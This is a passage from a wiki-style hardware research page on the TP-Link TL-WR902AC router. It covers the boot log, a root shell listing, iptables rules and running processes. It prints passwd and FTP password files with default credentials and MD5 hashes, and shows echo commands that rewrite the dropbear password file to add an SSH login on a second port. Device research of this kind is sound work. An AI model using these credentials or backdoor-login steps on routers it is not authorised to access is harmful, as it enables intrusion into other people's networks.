[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1081] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Live Analysis&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC: Firmware 170828&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Available tools&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;arping          dropbear        iwconfig        pppd            tdpd&lt;br /&gt;
ash             dropbearkey     iwlist          ps              tftp&lt;br /&gt;
ated_tp         dropbearmulti   iwpriv          pwdog           tmpd&lt;br /&gt;
bpalogin        dyndns          kill            radvd           top&lt;br /&gt;
brctl           ebtables        killall         reboot          traceroute&lt;br /&gt;
busybox         echo            login           reg             umount&lt;br /&gt;
cat             free            ls              ripd            upnpd&lt;br /&gt;
chat            getty           lsmod           rm              usb_modeswitch&lt;br /&gt;
chmod           halt            mii_mgr         rmmod           usbp&lt;br /&gt;
cli             handle_card     mii_mgr_cl45    route           ushare&lt;br /&gt;
cmxdns          hotplug         mkdir           rt2860apd       vconfig&lt;br /&gt;
config-mii.sh   httpd           mldProxy        rtinicapd       vsftpd&lt;br /&gt;
cos             ifconfig        modem_scan      scp             wanType&lt;br /&gt;
cp              igmpd           mount           sh              wlNetlinkTool&lt;br /&gt;
date            init            netstat         sleep           wscd&lt;br /&gt;
df              insmod          noipdns         smbcontrol      wscd_5G&lt;br /&gt;
dhcp6c          ip              ntfs-3g         smbd            xl2tpd&lt;br /&gt;
dhcp6s          ip6tables       ntpc            smbpasswd       xtables-multi&lt;br /&gt;
dhcpc           ipcrm           pidof           switch          zebra&lt;br /&gt;
dhcpd           ipcs            ping            taskset&lt;br /&gt;
diagTool        ipping          ping6           tc&lt;br /&gt;
dnsProxy        iptables        poweroff        tddp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Mounted filesystems&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type squashfs (ro,relatime)&lt;br /&gt;
proc on /proc type proc (rw,relatime)&lt;br /&gt;
ramfs on /var type ramfs (rw,relatime)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/sys on /sys type sysfs (rw,relatime)&lt;br /&gt;
usbfs on /proc/bus/usb type usbfs (rw,relatime)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /var/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd_passwd&lt;br /&gt;
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd.conf&lt;br /&gt;
anonymous_enable=NO&lt;br /&gt;
local_enable=YES&lt;br /&gt;
write_enable=YES&lt;br /&gt;
connect_from_port_20=YES&lt;br /&gt;
ascii_upload_enable=YES&lt;br /&gt;
ascii_download_enable=YES&lt;br /&gt;
listen=YES&lt;br /&gt;
chroot_local_user=YES&lt;br /&gt;
max_clients=2&lt;br /&gt;
ftpd_banner=Welcome to TP-LINK FTP server&lt;br /&gt;
pasv_min_port=50000&lt;br /&gt;
pasv_max_port=60000&lt;br /&gt;
&lt;br /&gt;
# ls /var/tmp/dropbear/&lt;br /&gt;
dropbear_dss_host_key  dropbear_rsa_host_key  dropbearpwd&lt;br /&gt;
# cat /var/tmp/dropbear/dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3.    						&amp;lt;-- MD5(&amp;quot;admin&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Extracted from the Bootlog&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;It is also possible to add or change user credentials to work with SSH since the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory is writable. Also dropbear can run on multiple ports. In a similar manner, using &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt;, it is possible to modify the passwd file in the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;~ # cd /var/tmp/dropbear/&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
/var/tmp/dropbear # cp dropbearpwd dropbearpwd.bak&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;username:test&amp;quot; &amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;password:21232f297a57a5a743894a0e4a801fc3&amp;quot; &amp;gt;&amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:test&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
&lt;br /&gt;
# Start a new Dropbear instance&lt;br /&gt;
dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Default IPtables&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /var/tmp/dconf/rc.router&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
#delete old rules&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#enable ip forward&lt;br /&gt;
echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#set policy&lt;br /&gt;
iptables -P INPUT DROP&lt;br /&gt;
iptables -P FORWARD DROP&lt;br /&gt;
iptables -P OUTPUT ACCEPT&lt;br /&gt;
iptables -t nat -P PREROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P POSTROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P OUTPUT ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -N CTL&lt;br /&gt;
iptables -N FORWARD_DMZ&lt;br /&gt;
iptables -N FORWARD_UPNP&lt;br /&gt;
iptables -N FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -N FORWARD_PT&lt;br /&gt;
iptables -N FORWARD_VS&lt;br /&gt;
iptables -N FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -N PARENTCTL&lt;br /&gt;
iptables -N PCRULE&lt;br /&gt;
iptables -N PCDROP&lt;br /&gt;
iptables -N FIREWALL&lt;br /&gt;
iptables -N FIREWALL_DDOS&lt;br /&gt;
iptables -N FWRULE&lt;br /&gt;
iptables -N FWD_MARK_LAN&lt;br /&gt;
iptables -N FWD_MARK_WAN&lt;br /&gt;
iptables -N OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -N BRIDGE_ISOLATION&lt;br /&gt;
iptables -t nat -N PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N PREROUTING_PT&lt;br /&gt;
iptables -t nat -N PREROUTING_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -N NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -I OUTPUT -j OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -t filter -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -j CTL&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_VS&lt;br /&gt;
iptables -A FORWARD -j FORWARD_PT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_DMZ&lt;br /&gt;
iptables -A FORWARD -j FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -t nat -A PREROUTING ! -i br+ -d 255.255.255.255 -p udp --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_VS&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_PT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -j ACCEPT&lt;br /&gt;
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -i lo -p ALL -j ACCEPT              -m comment --comment &amp;quot;loop back&amp;quot;&lt;br /&gt;
iptables -t filter -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp ! -i br+ --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp --dport 161 -j ACCEPT&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# iptables -nvL&lt;br /&gt;
Chain INPUT (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
   12  4449 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0            /* loop back */&lt;br /&gt;
 2316  206K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
   26  4240 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
    0     0 ACCEPT     udp  --  !br+   *       0.0.0.0/0            0.0.0.0/0            udp spt:67 dpt:68&lt;br /&gt;
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:161&lt;br /&gt;
  216 14556 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 ACCEPT     all  --  *      br+     0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 CTL        all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 FORWARD_VS  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_PT  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP_SECCONN  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_DMZ  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_VPN_PASSTHROUGH  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 1954 packets, 3746K bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
 1981 3755K OUTPUT_MARK_LOCAL  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain BRIDGE_ISOLATION (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain CTL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL_DDOS (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_DMZ (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_PT (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP_SECCONN (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VPN_PASSTHROUGH (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VS (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_LAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_WAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT_MARK_LOCAL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PARENTCTL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCDROP (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Running processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 admin     1068 S    init&lt;br /&gt;
    2 admin        0 SW   [kthreadd]&lt;br /&gt;
    3 admin        0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 admin        0 SW   [kworker/0:0]&lt;br /&gt;
    5 admin        0 SW   [kworker/u:0]&lt;br /&gt;
    6 admin        0 SW&amp;lt;  [khelper]&lt;br /&gt;
    7 admin        0 SW   [kworker/u:1]&lt;br /&gt;
   44 admin        0 SW   [sync_supers]&lt;br /&gt;
   46 admin        0 SW   [bdi-default]&lt;br /&gt;
   48 admin        0 SW&amp;lt;  [kblockd]&lt;br /&gt;
   79 admin        0 SW   [kswapd0]&lt;br /&gt;
   81 admin        0 SW&amp;lt;  [crypto]&lt;br /&gt;
  642 admin        0 SW   [mtdblock0]&lt;br /&gt;
  647 admin        0 SW   [mtdblock1]&lt;br /&gt;
  652 admin        0 SW   [mtdblock2]&lt;br /&gt;
  657 admin        0 SW   [mtdblock3]&lt;br /&gt;
  662 admin        0 SW   [mtdblock4]&lt;br /&gt;
  667 admin        0 SW   [mtdblock5]&lt;br /&gt;
  672 admin        0 SW   [mtdblock6]&lt;br /&gt;
  690 admin        0 SW   [kworker/0:1]&lt;br /&gt;
  731 admin        0 SW   [khubd]&lt;br /&gt;
  777 admin     3132 S    cos&lt;br /&gt;
  778 admin     1068 S    /bin/sh&lt;br /&gt;
  867 admin     2300 S    igmpd&lt;br /&gt;
  870 admin     2320 S    mldProxy&lt;br /&gt;
  871 admin     3132 S    cos&lt;br /&gt;
  872 admin     3132 S    cos&lt;br /&gt;
  873 admin     3132 S    cos&lt;br /&gt;
  876 admin     2264 S    ntpc&lt;br /&gt;
  880 admin     2272 S    dyndns /var/tmp/dconf/dyndns.conf&lt;br /&gt;
  883 admin     2272 S    noipdns /var/tmp/dconf/noipdns.conf&lt;br /&gt;
  886 admin     2272 S    cmxdns /var/tmp/dconf/cmxdns.conf&lt;br /&gt;
  982 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
  983 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
  984 admin        0 SW   [RtmpMlmeTask]&lt;br /&gt;
  997 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1000 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1001 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1003 admin     1080 S    wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/&lt;br /&gt;
 1042 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
 1043 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
 1058 admin     1080 S    wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/&lt;br /&gt;
 1062 admin     2840 S    httpd&lt;br /&gt;
 1065 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1077 admin     2260 S    dnsProxy&lt;br /&gt;
 1080 admin     1068 S    dhcpd /var/tmp/dconf/udhcpd.conf&lt;br /&gt;
 1097 admin     1156 S    dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run&lt;br /&gt;
 1100 admin     2880 S    tmpd&lt;br /&gt;
 1104 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1105 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1106 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1107 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1108 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1109 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1110 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1111 admin     2740 S    tdpd&lt;br /&gt;
 1115 admin      992 R    dhcpc&lt;br /&gt;
 1124 admin     1036 S    zebra -d -f /var/tmp/dconf/zebra.conf&lt;br /&gt;
 1138 admin     2264 S    diagTool&lt;br /&gt;
 1187 admin     2464 S    ushare&lt;br /&gt;
 1193 admin     2464 S    ushare&lt;br /&gt;
 1195 admin     2464 S    ushare&lt;br /&gt;
 1196 admin     2464 S    ushare&lt;br /&gt;
 1197 admin     2464 S    ushare&lt;br /&gt;
 1198 admin     2464 S    ushare&lt;br /&gt;
 1199 admin     2464 S    ushare&lt;br /&gt;
 1202 admin     2464 S    ushare&lt;br /&gt;
 1215 admin      904 S    vsftpd&lt;br /&gt;
 1219 admin     3908 S    smbd -D&lt;br /&gt;
 1226 admin     3908 S    smbd -D&lt;br /&gt;
 1264 admin     2788 S    tddp&lt;br /&gt;
 1285 admin     1136 S    dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos&lt;br /&gt;
 1292 admin     1060 R    ps&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
